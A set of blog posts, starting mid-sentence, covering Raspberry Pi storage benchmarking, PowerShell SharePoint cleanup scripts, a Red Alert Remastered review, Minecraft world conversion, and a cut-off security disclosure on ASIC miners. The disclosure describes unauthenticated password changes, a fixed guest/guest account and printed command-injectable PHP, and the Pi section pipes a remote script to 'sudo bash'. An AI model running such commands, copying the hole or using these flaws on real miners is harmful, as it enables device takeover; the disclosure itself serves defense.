cpufreq-utils it was reporting totally different numbers than what vcgencmd was giving me. That’s when I did some research and learned that the true speeds are controlled by the firmware. That is why the best way to overclock your Pi is definitely by using /boot/config.txt and putting the parameters there. I also learned writing this that my Raspberry Pi was undervolted and throttled.  This was despite the fact that it was connected to a powered USB hub.  After that I bought a better power supply and have not have any problems since.  The cheap but very reliable CanaKit 3.5A power supply* on Amazon is the one I chose. Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Other Resources If you want to learn how to update your firmware or suspect it may be causing issues check out my Raspberry Pi bootloader firmware update / troubleshooting guide To learn how to set up your Pi to boot with a SSD check out my Raspberry Pi Pi native bootloader USB booting guide #### Cleaning SharePoint: Find Duplicates, Trim Versions, Retention Clean Up SharePoint Storage SharePoint storage is one of the most underestimated cost drivers in a Microsoft 365 environment. Microsoft gives every tenant 1TB of base storage plus 1GB per licensed user, but once you start hitting those limits, adding more storage costs money. And the storage you’re paying for is often largely wasted. Duplicate files get copied across sites instead of linked. Version history grows unbounded — some files have 50+ revisions. Older file versions that no one will ever need keep consuming quota. Without active cleanup, these problems compound silently. Here are the three cleanup operations I run on every tenant, and the PowerShell behind each one. Table of Contents Toggle Finding Duplicate Files Across DrivesTrimming Version HistoryApproach 1: SharePoint Online Batch JobsApproach 2: Graph API Direct DeletionMeasuring Version Bloat Before CleaningSetting Versioning Policies PreventativelyThe Cleanup RunbookRate Limit WarningHow can I remove duplicate files in SharePoint efficiently?Can PowerShell trim excessive document versions in SharePoint?Will deleting SharePoint versions permanently remove the file history? Finding Duplicate Files Across Drives The first step is identifying what’s already duplicated. Microsoft Graph exposes a QuickXorHash on every file — a content hash that identifies identical files regardless of name or location. Grouping files by this hash reveals every duplicate set: # Connect to Microsoft Graph Connect-MgGraph -Scopes "Files.Read.All", "Sites.Read.All" function Find-DriveItemDuplicates { param( [string]$SharePointSiteDomain, [string]$SharePointSiteName, [string]$LibraryName = "Documents", [switch]$NoRecursion ) # Resolve the site and library $Site = Invoke-MgGraphRequest -Uri "beta/sites/$SharePointSiteDomain:/sites/$SharePointSiteName" $Drives = Invoke-MgGraphRequest -Uri "beta/sites/$($Site.id)/drives" $Drive = $Drives.value | Where-Object { $_.name -eq $LibraryName } $baseUri = "beta/drives/$($Drive.id)/root" $FileList = [Collections.Generic.List[Object]]::new() # Recursively gather every file with its hash function Get-FolderItemsRecursively { param([string]$Path, [Collections.Generic.List[Object]]$AllFiles) $encodedPath = if ($Path -eq "/") { "" } else { [System.Uri]::EscapeDataString($Path.TrimStart('/')) } $uri = if ($encodedPath -eq "") { "$baseUri/children" } else { "$($baseUri):/$($encodedPath):/children" } do { $Response = Invoke-MgGraphRequest -Uri $uri foreach ($Item in $Response.value) { if ($null -ne $Item.folder) { Get-FolderItemsRecursively -Path "$Path/$($Item.name)" -AllFiles $AllFiles } elseif ($null -ne $Item.file) { $AllFiles.Add([pscustomobject]@{ Name = $Item.name LastModifiedDateTime = $Item.lastModifiedDateTime QuickXorHash = $Item.file.hashes.quickXorHash Size = $Item.size WebUrl = $Item.webUrl }) } } $uri = $Response.'@odata.nextLink' } until (-not $uri) } Get-FolderItemsRecursively -Path "/" -AllFiles $FileList # Group by hash to find duplicates $GroupsOfDupes = $FileList | Where-Object { $null -ne $_.QuickXorHash } | Group-Object QuickXorHash | Where-Object Count -ge 2 $Output = foreach ($Group in $GroupsOfDupes) { $FileGroupSize = ($Group.Group.Size | Measure-Object -Sum).Sum [pscustomobject]@{ QuickXorHash = $Group.Name NumberOfFiles = $Group.Count FileSizeKB = $Group.Group.Size[0] / 1KB FileGroupSizeKB = $FileGroupSize / 1KB PossibleWasteKB = ($FileGroupSize - $Group.Group.Size[0]) / 1KB FileNames = ($Group.Group.Name | Sort-Object -Unique) -join '; ' WebLocalPaths = ($Group.Group.WebUrl | ForEach-Object { ([Uri]$_).LocalPath }) -join '; ' } } $Output | Export-Csv "$ENV:USERPROFILE\Desktop\DuplicateReport.csv" -NoTypeInformation # Summary $TotalWasteMB = ($Output.PossibleWasteKB | Measure-Object -Sum).Sum / 1MB Write-Host "Total potential waste: $([math]::Round($TotalWasteMB, 2)) MB" } The key insight: QuickXorHash identifies files with identical content. Two PDFs with different names but the same content get the same hash. The script calculates how much space you’d save by keeping only one copy of each duplicate set. Trimming Version History SharePoint – Out of Space Notification Email Every edit to a file in SharePoint creates a new version. By default, SharePoint keeps all major versions and up to 512 minor versions. Over time, files accumulate versions that no one will ever need. There are two approaches: the SharePoint batch job (which is the supported, recommended method) and the Graph API direct deletion (which gives more control but runs against the API rate limits). Approach 1: SharePoint Online Batch Jobs Microsoft provides New-SPOListFileVersionBatchDeleteJob specifically for bulk version cleanup. It runs asynchronously in the background and doesn’t hit API rate limits: Connect-SPOService -Url "https://tenant-admin.sharepoint.com" $sites = Get-SPOSite -Limit All # Delete versions older than 30 days foreach ($site in $sites) { Write-Host "Processing site: $($site.Url)" -ForegroundColor Cyan New-SPOListFileVersionBatchDeleteJob ` -Site $site.Url ` -List "Documents" ` -DeleteBeforeDays 30 ` -Confirm:$false } # Limit to last 30 major versions and 10 minor versions per file foreach ($site in $sites) { Write-Host "Processing site: $($site.Url)" -ForegroundColor Cyan New-SPOListFileVersionBatchDeleteJob ` -Site $site.Url ` -List "Documents" ` -MajorVersionLimit 30 ` -MajorWithMinorVersionsLimit 10 ` -Confirm:$false } # Check progress foreach ($site in $sites) { Write-Host "Processing site: $($site.Url)" -ForegroundColor Cyan Get-SPOListFileVersionBatchDeleteJobProgress -Site $site.Url -List "Documents" } The batch job is the right approach for most tenants. It’s designed for this exact workload, runs in the background, and reports progress. Approach 2: Graph API Direct Deletion For more granular control — like deleting versions older than a specific date across all libraries in a site — the Graph API gives you the precision: $CutoffDate = Get-Date "2026-05-01T00:00:00Z" $Sites = Get-MgSite -All | Where-Object { $_.WebUrl -notlike "*-my.sharepoint.com*" } foreach ($Site in $Sites) { Write-Host "Processing site: $($Site.WebUrl)" -ForegroundColor Cyan $Drives = Get-MgSiteDrive -SiteId $Site.Id foreach ($Drive in $Drives) { Write-Host " Drive: $($Drive.Name)" -ForegroundColor Yellow $Items = Get-MgDriveItem -DriveId $Drive.Id -All -Filter "file ne null" foreach ($Item in $Items) { try { $Versions = Get-MgDriveItemVersion -DriveId $Drive.Id -DriveItemId $Item.Id if (-not $Versions) { continue } $CurrentVersion = $Versions | Sort-Object LastModifiedDateTime -Descending | Select-Object -First 1 foreach ($Version in $Versions) { if ($Version.Id -eq $CurrentVersion.Id) { continue } if ($Version.LastModifiedDateTime -lt $CutoffDate) { Write-Host " Deleting version $($Version.Id) of $($Item.Name)" Remove-MgDriveItemVersion ` -DriveId $Drive.Id ` -DriveItemId $Item.Id ` -DriveItemVersionId $Version.Id ` -Confirm:$false } } } catch { Write-Warning " Failed processing file: $($Item.Name)" } } } } Measuring Version Bloat Before Cleaning Before deleting anything, know how much space is tied up in older versions. This function calculates the total size of all non-current versions in a site: function Get-SharePointVersionSize { param([string]$SiteUrl) $site = Get-MgSite | Where-Object { $_.Name -like $SiteUrl } if (-not $site) { Write-Host "Site not found: $SiteUrl"; return } $totalPreviousVersionSize = 0 $lists = Get-MgSiteList -SiteId $site.Id | Where-Object { $_.List.Template -eq "documentLibrary" } foreach ($list in $lists) { Write-Host "Processing library: $($list.DisplayName)" $items = Get-MgSiteListItem -SiteId $site.Id -ListId $list.Id -ExpandProperty "DriveItem" foreach ($item in $items) { if ($item.DriveItem -and $item.DriveItem.File) { $versions = Get-MgDriveItemVersion ` -DriveId $item.DriveItem.ParentReference.DriveId ` -DriveItemId $item.DriveItem.Id foreach ($version in $versions) { if ($version.Id -ne $item.DriveItem.Id) { $totalPreviousVersionSize += $version.Size } } } } } Write-Host "Total space used by previous versions: $([math]::Round($totalPreviousVersionSize/1MB, 2)) MB" } Setting Versioning Policies Preventatively After you’ve cleaned up, prevent future bloat by setting version limits on every site. This is a one-time configuration that caps how many versions SharePoint keeps: $sites = Get-SPOSite -Limit All foreach ($site in $sites) { Set-SPOSite ` -Identity $site.Url ` -MajorVersionLimit 50 ` -MajorWithMinorVersionsLimit 10 Write-Host "Set version limits on $($site.Url)" } With these limits in place, no file can accumulate more than 50 major versions and 10 minor versions, regardless of how many times it gets edited. The Cleanup Runbook Here is the order I run these on a tenant that needs storage cleanup: Measure — Run Get-SharePointVersionSize to establish a baseline Find duplicates — Run Find-DriveItemDuplicates across key sites to identify waste Delete old versions — Run the batch job or Graph deletion to remove versions older than your cutoff Set version limits — Apply MajorVersionLimit to prevent future unbounded growth Re-measure — Run Get-SharePointVersionSize again to confirm savings Most tenants see 20-60% storage reduction from version cleanup alone. Duplicate cleanup depends on how messy the tenant is — some have near-zero duplicates, others have entire project folders copied across multiple sites. Rate Limit Warning Graph API direct deletion hits rate limits faster than batch jobs. If you’re deleting versions across a large tenant, you’ll get 429 Too Many Requests errors. The batch job approach is always preferred for large-scale cleanup because Microsoft runs it on the server side without counting against your API quota. That being said it’s very nice to be able to manually clean the storage (especially below the minimum policy of 50 previous versions that Microsoft allows for retention). The full scripts are available here on GitHub as well! How can I remove duplicate files in SharePoint efficiently?PowerShell scripts using Microsoft Graph API or PnP/SPO cmdlets can scan document libraries, hash file contents, and identify/remove duplicates in bulk much faster than manual deletion.Can PowerShell trim excessive document versions in SharePoint?Yes, you can set version limits programmatically or use Remove-PnPFileVersion to clean up old versions. This frees up significant storage space and improves library load times.Will deleting SharePoint versions permanently remove the file history?Trimming versions removes older iterations from the version history. Always ensure you have offline backups or confirm with stakeholders if historical data is needed before running cleanup scripts. #### Command and Conquer Red Alert Remastered Review – A Nostalgic Return Done Right Command and Conquer Red Alert Remastered Review Command & Conquer: Red Alert was one of the earliest computer games I ever played. That alone probably tells you a lot about how I feel going into this review. The remastered version* gave me a chance to go back and experience it again (not through fuzzy childhood memories, but as it actually exists today). The surprising part is just how much of it still holds up… and how much of it absolutely doesn’t. Let’s get into it! Table of Contents Toggle Game ReviewedA Brief History LessonStory – The Ultimate “What If?”Cinematics – Live Action vs. Early CGIMusic – Absolute ClassicGameplay – Classic RTS (For Better and Worse)Tips and TricksAI – The Weakest Part of the RemasterSecret Missions – Yes, Giant AntsMultiplayer – Still Alive in 2026Graphics – Exactly How You Remember (Not How It Was)Difficulty – Old School PunishingPros / ConsProsConsConclusion Game Reviewed Command and Conquer – Remastered Collection (Steam)* A Brief History Lesson The original game was developed by Westwood Studios, a studio that was way ahead of its time in a lot of ways. They were eventually acquired by Electronic Arts in 1998. Over time, the Westwood name disappeared entirely, with the studio being fully absorbed and shut down in 2003. Later Command & Conquer titles after that point were no longer true Westwood games, and you can honestly feel that shift if you’ve played enough of the series. One of the reasons this remaster works so well is because it was developed in collaboration with Petroglyph Games (a studio made up of former Westwood developers). That explains why this feels like a genuine preservation of the original rather than a reinterpretation. Story – The Ultimate “What If?” The plot is still one of my favorites in gaming. Albert Einstein goes back in time and shakes Adolf Hitler’s hand, causing him to disappear from the timeline. Problem solved, right? Not even close. Instead, this creates an alternate timeline where Joseph Stalin rises to power unchecked. It’s basically the gaming version of the “kill baby Hitler” thought experiment mixed with the butterfly effect (and everything turns out worse). The intro cinematic is still fantastic: Cinematics – Live Action vs. Early CGI One of the most interesting things about Red Alert is how it handled cinematics. The CGI scenes have aged… terribly. There’s really no sugarcoating that. They look exactly like what they are: 30-year-old early 3D graphics. But the live-action scenes? They’ve actually held up surprisingly well (other than the resolution is a bit low by today’s standards). They’re still just as cheesy as they were in the 90s and that’s exactly why they work. Watching Stalin awkwardly strangle a subordinate with his bare hands (in what feels like a pro wrestling chokehold) is just as entertaining now as it was back then: Command and Conquer – Red Alert: What happens if you disappoint Stalin In hindsight, Westwood leaning so heavily into live action was one of the best decisions they made. Music – Absolute Classic The soundtrack by Frank Klepacki is iconic. I had the original deluxe edition back in the day that came with the soundtrack CD, and I played it constantly. Tracks like “Hell March” are still burned into my brain: Even now, hearing it kick in during a mission instantly takes me back. A second honorable mention is “Mechanical Man” which is part of the original Command and Conquer soundtrack (also included in the remastered version). The remastered versions of these tracks are excellent. They modernized them just enough without losing what made them great. Gameplay – Classic RTS (For Better and Worse) This is a very early RTS game, and you feel that immediately. Remember, this game is actually older than Starcraft 1. Yes, that’s Starcraft ONE from 1998. This game predates Starcraft. There is no “attack move” command like modern RTS players are used to. That alone changes how you play quite a bit. Tips and Tricks Use G (Guard Mode) to have units automatically engage enemies nearby Use S (Stop) while moving to immediately begin attacking Advanced technique: “GQing” (press G, then Q to set a waypoint) to move and engage along a path Always keep idle units in Guard Mode The fog of war behaves differently than modern RTS games. Once you explore an area, it stays revealed permanently (unless jammed). That makes early scouting extremely important. Micromanagement is also unusually important (and sometimes unintentionally exploitable): Moving units take significantly less damage than stationary ones Constant movement can drastically reduce incoming damage Engineers and medics will run straight into danger if not controlled properly Use control groups (Ctrl+1, Ctrl+2, etc.) or your support units will happily march to their deaths. My “Getting Disrespectful” Strategy of building to the enemy base with Tesla coils Building straight to the enemy base is quite effective in this game and one of my favorite strategies. In the screenshot above if you look at the radar in the top right you can see that I’ve actually built all the way from my base to theirs with Tesla coils. AI – The Weakest Part of the Remaster This is where the game shows its age the most. The AI: Gets stuck frequently Struggles with pathfinding Rarely uses naval or air units Can bottleneck itself (especially on maps like “All That Glitters”) Even ore trucks can jam themselves if you have too many going to one refinery. Building additional refineries helps, but it’s still clunky. Honestly, this is the one area I really wish had been improved in the remaster. It’s very much the original AI, for better or worse. Secret Missions – Yes, Giant Ants There’s a hidden set of missions called “It Came From Red Alert.” It features giant ants. Yes, really. To unlock it: Hold Shift Click the speaker icon on the main menu It permanently unlocks a hidden menu with the ant missions. Once you’ve unlocked it a single time you will permanently see it in your mission select screen like this: Command And Conquer Remastered: Red Alert – Secret Ant Mission Selection Screen Until you perform this sequence once you will not see the ant icon in the mission select screen. This is exactly the kind of weird, experimental bonus content that made older games so much fun. Multiplayer – Still Alive in 2026 One of the coolest things about the remaster is that multiplayer is alive and well. There are still active lobbies with players creating and joining games: Command and Conquer Remastered: Red Alert – Lobbies Available That’s honestly incredible for a game of this age. If you ever got frustrated with the AI (and you will), multiplayer completely changes the experience. Whether you’re doing co-op “comp stomp” matches or playing competitively, it breathes new life into the game. Graphics – Exactly How You Remember (Not How It Was) The visual upgrade is huge. Going back to the original graphics today is… rough. Much rougher than I expected. Here’s a screenshot of the old graphics: Command and Conquer Remastered – Old Graphics The remastered version, though? Take a look: Command and Conquer Remastered – New Graphics It looks exactly like I remember the game looking in the 90s. That’s the best way I can describe it. It’s not just sharper. It captures that nostalgic version of the game that existed in your head, not on your old CRT monitor. Difficulty – Old School Punishing This is from an era where games were much less forgiving. Even on Normal difficulty, I found myself saving constantly and reloading when things went wrong. Some missions are legitimately difficult in ways that would feel out of place in modern games on the same difficulty setting. You will probably “save scum” at least a few missions. That’s just part of the experience. Pros / Cons Pros Faithful remaster that respects the original Fantastic soundtrack (especially Hell March) Live-action cinematics still hold up Huge graphical improvement Active multiplayer community Cons AI is outdated and often frustrating Some gameplay mechanics feel clunky by modern standards Difficulty spikes can be unforgiving Conclusion I really like Command & Conquer: Remastered. It lets me relive the late 90s with graphics that actually match how I remember the game looking (not how it actually looked). The involvement of Petroglyph Games (with former Westwood developers) clearly made a difference. This feels like a preservation effort, not just a cash grab remaster. If you played the original, this is an easy recommendation (especially with multiplayer still active in 2026). If you came in later with games like Generals and want to see where it all started, this is also absolutely worth your time. I mostly talked about Red Alert in this review but the remaster does include the original “Command and Conquer” as well with the Brotherhood of Nod vs. the GDI. That’s a great game as well and you get both for under $20. Just be prepared for some old-school design decisions and an AI that hasn’t aged nearly as well as everything else! Rating: 9 / 10 #### Converting Minecraft Bedrock / Java Worlds with Chunker Convert Minecraft Bedrock and Java Worlds Using Chunker People have been asking me for years how they can convert a Minecraft Bedrock world to Java edition (or vice versa) on projects such as my Docker container supporting both Java and Bedrock on the same server via Geyser. The answer in the past was that you needed to use one of the tools that could read both formats and convert between them such as Amulet. It wasn’t a very fun process though and not many had succeeded over the years. Recently I was asked this question again though and when I went to look up what the current map editors supporting both formats were I found a surprise: Chunker! If you look at the text in the bottom of the screenshot above you’ll see “Proudly made by Hive Games under exclusive license to Minecraft”. This is actually an officially sanctioned tool with official Microsoft documentation. In this guide I’ll show you the current capabilities of Chunker and how to use it to convert a Minecraft world between editions. Let’s get started! Table of Contents Toggle Chunker CapabilitiesWorking Around Inventory TransfersEntitiesUsageStep 2 – Export AsStep 3 – ConversionStep 4 – DownloadAdvanced ModeConclusionOther Resources Chunker Capabilities Chunker is able to convert most things between Bedrock and Java but there are some exceptions. The full list of capabilities can be seen here on this Microsoft Learn article: Chunker can currently convert: Level settings World data (blocks, biomes, and tile entities) Multiple dimensions Container & items In-game maps Chunker cannot currently convert Entities Player inventories Working Around Inventory Transfers As you can see in the above list of capabilities Chunker cannot transfer player inventories at this time. There’s a super easy trick to get around this that we’ve seen success with here on the site. Basically you have all of your players throw all of their inventory contents in chests. Chests/containers and the items inside them can be transferred. This gets around this current limitation in Chunker and will work for most situations. As long as you have everyone who plays your server put their inventory contents they want to save in a chest they will be able to log back in and open the chest and have their character just as it was. Entities The other limitation of Chunker currently is that it cannot transfer entities. Entities are basically animals/pets/monsters/etc. This will typically include anything that you’ve named with a name tag. If you have any barns that are full of animals you will need to gather those animals again. This shouldn’t be a huge deal to most servers but some servers it may be a very big deal to if there’s a lot of monster grinders set up or huge barns / entity collections. These will not transfer at this time so be aware of that. Usage The official site for Chunker is here. Usage is easy. Chunker basically wants you to upload your world’s entire folder (zipped or raw) with your Minecraft server files in it. This is the first step that is shown in the screenshot at the top of the article. Once you’ve selected this and uploaded you’ll see this screen until it’s ready: Chunker – Preparing World Tip: There is a size limit on the upload. For people using my Docker containers or standalone scripts make sure you remove the “backups” folder before uploading. It will make it too large. For everyone else make sure there aren’t any unnecessary large backup files or anything like that in the folders. If everything looks okay it will let you start the upload. Step 2 – Export As The tool will take you to the next step show you a whole range of options you can export for like this: Chunker – Export As Okay, now this is neat and worth discussing. You can also use Chunker to convert between different versions of the same edition. This is great if you want to take a newer world and run it on an older edition (something that was also very difficult before Chunker existed — the conventional wisdom was you had to restore from a backup for the most part). Notice that I also have a pink “Source Version” banner over Java Edition 1.19.3. That is because the world I uploaded was a Java 1.19.3 world meaning my “source” world I provided is Java 1.19.3. This is a handy indicator to let you know which type of world and version you uploaded to Chunker was. Once you’ve selected the type you want scroll to the bottom and tell it to start the conversion. Step 3 – Conversion Step 3 is the step where it actually converts your world. When I attempted this it said there is actually a Chunker queue that you need to wait in before your world is converted. I was the first person in the queue so my conversion finished in 5 seconds. I doubt this will be true 6 months from now and is probably just because nobody knows about it yet relatively speaking. As the tool gains popularity there will likely be a more and more substantial queue over time. Step 4 – Download Chunker – Download World Advanced Mode There is also an “Advanced” button at the very bottom of the page. This will take you into “Advanced Mode”. That looks like this: Chunker – Advanced Mode For advanced mode usage you should see the Microsoft documentation here. It covers all of the aspects of advanced mode. I just wanted to let you guys know it existed and point you to the documentation because the Microsoft documentation is pretty awesome. Conclusion It’s an incredible tool. If any of you have ever had a need to convert a world between Minecraft Java and Bedrock or even if you need to convert it to a different version of the same edition then Chunker is the tool for you. Definitely don’t forget to check out the Microsoft documentation on the tool as well. It’s really good and gives you an idea of the more advanced capabilities the tool has to offer for experts. Other Resources My Docker container that will set up a Geyser server allows both Java and Bedrock players to play together on the same server I also have a Docker container that will run the Bedrock server (runs on all architectures including ARM and RISC-V) #### Cryptocurrency ASIC Miners – Security and Hacking Audit I’ve been mining cryptocurrency for a very long time. I’ve been recently building out my ASIC farm and I wanted to get an idea of how secure these are as I have a significant investment in this hardware. Considering that ASIC miners are machines that literally print money out of thin air (in the form of cryptocurrency) I figured they’d be quite secure. I haven’t seen any ASIC miner exploits found in years. That’s a good sign right? Wrong. What happened was all of the ASIC manufacturers stopped releasing their source code. In the early days it was all available on GitHub. After the first set of hacks came out most of them close-sourced their firmware. But James, you might be saying, didn’t that work if there hasn’t been any exploits found this entire time? Negative. Security through obscurity only slows them down but in the end you are more vulnerable as so few eyeballs will ever see the source code. As a result the security is a joke and today I’ll be presenting extremely serious vulnerabilities for multiple ASIC mining manufacturers. They are definitely *not* secure. They are making mistakes that there’s no way would have happened if the firmware was open source as I will prove to you. The point of this article will not be to tell you to not buy any ASIC miners or that they are bad. It’s also not really to help you hack cryptocurrency miners but if people still refuse to secure them or patch there probably will be some of that. That is just the way the cookie crumbles and that is not my fault for presenting this information and the vendors were notified to prepare before publication. It is NOT better to cover up these vulnerabilities. That puts all miners at risk and it’s the kind of risk they are unaware of and can’t prepare for. The vulnerabilities weren’t very hard to find. Burp Suite found several just with automated scans. I’m just one man. Who knows who else already has them (or worse) and is exploiting them. They need sunlight or nothing will change. Right now you pay the price of there being undisclosed vulnerabilities out there because you don’t know that you need to upgrade / can’t port forward. I can probably hack any of your miners right now. Did you know that? Probably not. Did you think it was even possible? Some of the manufacturers know it’s possible and I will be presenting evidence of that. Would you have behaved differently or secured them more if you had known that? Yes, most likely, and I hope I can convince you by the end of this article if you said no. The point will be that you need to upgrade to the latest firmware to protect yourself and that you should *NEVER* port forward a port from the internet to your miner or you are going to get hacked for sure, and you always were. We’re going to discuss everything you need to protect yourself against these vulnerabilities and other future vulnerabilities that have yet to be discovered. Let’s begin! Table of Contents Toggle Avalon MinerImproper Access ControlsInnoSiliconUnpacking InnoSilicon FirmwareUndocumented Guest Account / Obtain JWTAuthenticated Remote Code Execution – checkUrlAuthenticated Remote Code Execution – setPlatformJasMiner / Jingle MiningOpen Debug PortGoldshellCVE-2022-24659 – Path Traversal VulnerabilityCVE-2022-24660 – Debug interface exposed without authenticationCVE-2022-24657 – Use of Hard-Coded Credentials / Open SSH Port2.0.X Series2.1.X Series / 2.2.0 / 2.2.1Protecting YourselfConclusion Avalon Miner Avalon Miner makes mostly beefy Bitcoin ASIC miners from what I’ve seen. They don’t seem to be very popular in the United States and I’ve never seen one here show up on the automated scanners. Most of them seem to be in Russia although we undoubtedly have them here too. Maybe the Russians are the only ones brave enough to port forward them. I certainly wouldn’t be and you won’t either after you read this. Censys Avalon Zoomeye Avalon Shodan Avalon Improper Access Controls The Avalon Miner has completely improper access controls. It checks GET requests to see if you are authenticated. It does *not* check POST requests (or if it does it breaks and works anyway as you will see). I’ve never seen anything like this and it was by far the easiest one. I think it took about an hour to figure out how to completely compromise while others took weeks. What this means you can just send a post request to update the password without ever logging in or knowing any passwords. If we try with the GET method we get this: Avalon GET request with Burp That is just the Avalon login form. Now let’s try with a POST request: Avalon POST request with Burp Oh dang, it’s just the Avalon login form again, or is it? Look at all the garbage at the bottom of the page. Something broke. It honestly looks like part of the miner’s stats (that get graphed/charted showing how fast it’s mining). Even worse than that, look at the end of the string: PVT_V0[0 0 0 0 0 0 0 0" }); What?! That is the end of part of a command, and not a part that we should *EVER* see on the frontend. That sure looks like a candidate for OS command injection. Part of a line got broken somewhere just from changing it to a POST request. I did not try to leverage this for RCE but it sure looks possible. Why didn’t I try? Because now go try to log in to the miner with the username “root” and the password you set. It will have that password now. The miner is already completely compromised. The only reason you’d want to go further is to permanently backdoor it or something evil which I was not interested in doing. If I was going for maximum # of vulnerabilities published I’m sure I could have done more with this but I have so many to disclose it’s honestly overwhelming. This looks extremely concerning though and I have no idea why changing it to a POST request would break it like this. It’s an identical request except for GET vs. POST. It’s pretty silly that it takes my password change though. Like I said, I’ve never seen anything quite like that one. It works on Avalons with the old blue interface as well as ones with the new black interface. It makes no difference. InnoSilicon InnoSilicon makes a wide variety of ASIC miners and is quite popular with machines showing up all over the world. You can find them officially here. InnoSilicon Censys InnoSilicon Zoomeye InnoSilicon Shodan It should be noted that this same type of firmware InnoSilicon uses shows up on other machines as well (DragonMint and a few others I’ve seen) and the vast majority of them were vulnerable to one of these or the other depending on how old the firmware was. Remember how I spared Avalon Miner the RCE exploits because I felt sorry for them being defeated by a single POST request? We won’t be doing that for InnoSilicon but it’s because to their credit their machines are very tough and I couldn’t find any easy exploits on the machines to compromise them. They’ve been embarrassed before in the past such as here on bitcointalk. You used to be able to set the login value to “true” in the 2017/2018 era to beat it and that is as bad/embarrassing as any I’m disclosing today. They’ve come a long way. These are the only authenticated vulnerabilities I’m disclosing today. You need to know the password to exploit these. It’s not too hard to find ones that are using the default admin/admin or you can login with the guest account guest/guest (undocumented, and can’t be changed without rooting the miner) and get enough information to guess the password sometimes. Again, to their credit, these were the most difficult to crack along with AntMiner. Is that because they are geniuses? No, it’s because they have more experience than the other companies and have had exploits in the wild for them before and they learned from them. Mistakes were still made though and so we’re going to help them make that final push over the finish line. Unpacking InnoSilicon Firmware How does one go about hacking these types of devices? It’s pretty useful and standard to unpack the firmware. All of these miners run ARM images which means we need to use QEMU to run any of the programs from the image. You can download the firmware from their web site which will come as a .swu file. Let’s unpack an older 2019-era firmware file. I ended up grabbing the A5+ beta firmware (2019) for this. We use binwalk like this: ┌──(james㉿kali)-[~/firmware/inno] └─$ binwalk -e a5+_20190417_044506\(beta\).swu DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 ASCII cpio archive (SVR4 with CRC) file name: "sw-description", file name length: "0x0000000F", file size: "0x000017EA" 6252 0x186C ASCII cpio archive (SVR4 with CRC) file name: "sw-description.sig", file name length: "0x00000013", file size: "0x00000100" 6640 0x19F0 ASCII cpio archive (SVR4 with CRC) file name: "special", file name length: "0x00000008", file size: "0x00000007" 6768 0x1A70 ASCII cpio archive (SVR4 with CRC) file name: "BOOT.bin", file name length: "0x00000009", file size: "0x002C07D0" 2892472 0x2C22B8 ASCII cpio archive (SVR4 with CRC) file name: "devicetree.dtb", file name length: "0x0000000F", file size: "0x00002910" 2903112 0x2C4C48 ASCII cpio archive (SVR4 with CRC) file name: "system.bit", file name length: "0x0000000B", file size: "0x001FCC10" 4987092 0x4C18D4 ASCII cpio archive (SVR4 with CRC) file name: "uImage", file name length: "0x00000007", file size: "0x003EEDB0" 9111292 0x8B06FC ASCII cpio archive (SVR4 with CRC) file name: "rootfs.ubi", file name length: "0x0000000B", file size: "0x026A0000" 49612664 0x2F50778 ASCII cpio archive (SVR4 with CRC) file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000" Binwalk will create a folder that starts with an underscore with the extracted contents: [~/firmware/inno/_a5+_20190417_044506(beta).swu.extracted] └─$ ls 0.cpio cpio-root ┌──(james㉿kali)-[~/firmware/inno/_a5+_20190417_044506(beta).swu.extracted] └─$ cd cpio-root ┌──(james㉿kali)-[~/firmware/inno/_a5+_20190417_044506(beta).swu.extracted/cpio-root] └─$ ls BOOT.bin devicetree.dtb rootfs.ubi special sw-description sw-description.sig system.bit uImage Bingo. The rootfs.ubi is a filesystem container. Let’s run binwalk on it again (you may need to install ubi-reader with pip3 install ubi-reader if you see an error) : ┌──(james㉿kali)-[~/firmware/inno/_a5+_20190417_044506(beta).swu.extracted/cpio-root] └─$ cd _rootfs.ubi.extracted ┌──(james㉿kali)-[~/…/inno/_a5+_20190417_044506(beta).swu.extracted/cpio-root/_rootfs.ubi.extracted] └─$ ls 0.ubi ubifs-root ┌──(james㉿kali)-[~/…/inno/_a5+_20190417_044506(beta).swu.extracted/cpio-root/_rootfs.ubi.extracted] └─$ cd ubifs-root ┌──(james㉿kali)-[~/…/_a5+_20190417_044506(beta).swu.extracted/cpio-root/_rootfs.ubi.extracted/ubifs-root] └─$ ls 1688620587 ┌──(james㉿kali)-[~/…/_a5+_20190417_044506(beta).swu.extracted/cpio-root/_rootfs.ubi.extracted/ubifs-root] └─$ cd 1688620587 ┌──(james㉿kali)-[~/…/cpio-root/_rootfs.ubi.extracted/ubifs-root/1688620587] └─$ ls rootfs ┌──(james㉿kali)-[~/…/cpio-root/_rootfs.ubi.extracted/ubifs-root/1688620587] └─$ cd rootfs ┌──(james㉿kali)-[~/…/_rootfs.ubi.extracted/ubifs-root/1688620587/rootfs] └─$ ls bin dev events lib libexec media mnt proc run srv tmp var config etc home lib32 linuxrc miners opt root sbin sys usr Now we have the filesystem contents. Let’s open up the InnoSilicon web interface (/usr/share/factory/www) and take a look: //get error msg (detail) $router->get('/api/getErrorDetail', 'Status','getErrorDetail'); //check gateway $router->get('/api/checkGateWay', 'Status','checkGateWay'); //check dns $router->get('/api/checkDNS', 'Status','checkDNS'); //check url // $router->get('/api/checkUrl', 'Status','checkUrl'); //get error manual (all error msg) $router->get('/api/getErrorManual', 'Status','getErrorManual'); //get factory info $router->get('/api/getFacInfo', 'Status','getFacInfo'); Interesting. There’s a function mysteriously removed in the later versions. I wonder why that is. The function wasn’t vulnerable in newer versions despite being commented out. I checked with earlier versions and checkUrl was enabled. This is why: New: $ping_cmd = escapeshellcmd("ping ".$ping_url." -c 5"); $result = shell_exec($ping_cmd); Old: $ping_cmd = "ping ".$ping_url." -c 5"; $result = shell_exec($ping_cmd); Ah hah! The older version has revealed their past sins as well as their trail of comments leading me to it. They did have stealth patched RCE vulnerabilities. See how the escapeshellcmd is missing in the old version. It’s impossible to know if these were found in some internal audit or if they were actually exploited in some kind of incident. Even with that fix to the actual function itself they still don’t trust it as it’s still commented out in the API (/usr/share/factory/www/webif/index.php). Okay, we have everything we need. Now we need to put it all together. We also need to authenticate with JWTs because InnoSilicon like I said has beefed up security substantially. I’ll cover that and the guest account here and then we’ll look at the vulnerabilities. Undocumented Guest Account / Obtain JWT The account guest/guest will allow us to retrieve a valid JWT. You have access to certain API functions but they are limited. It’s trivial to gather information though about the miner. In a few cases I found people who were using the same pool password (visible to the guest account) as their miner password. The owner cannot change the 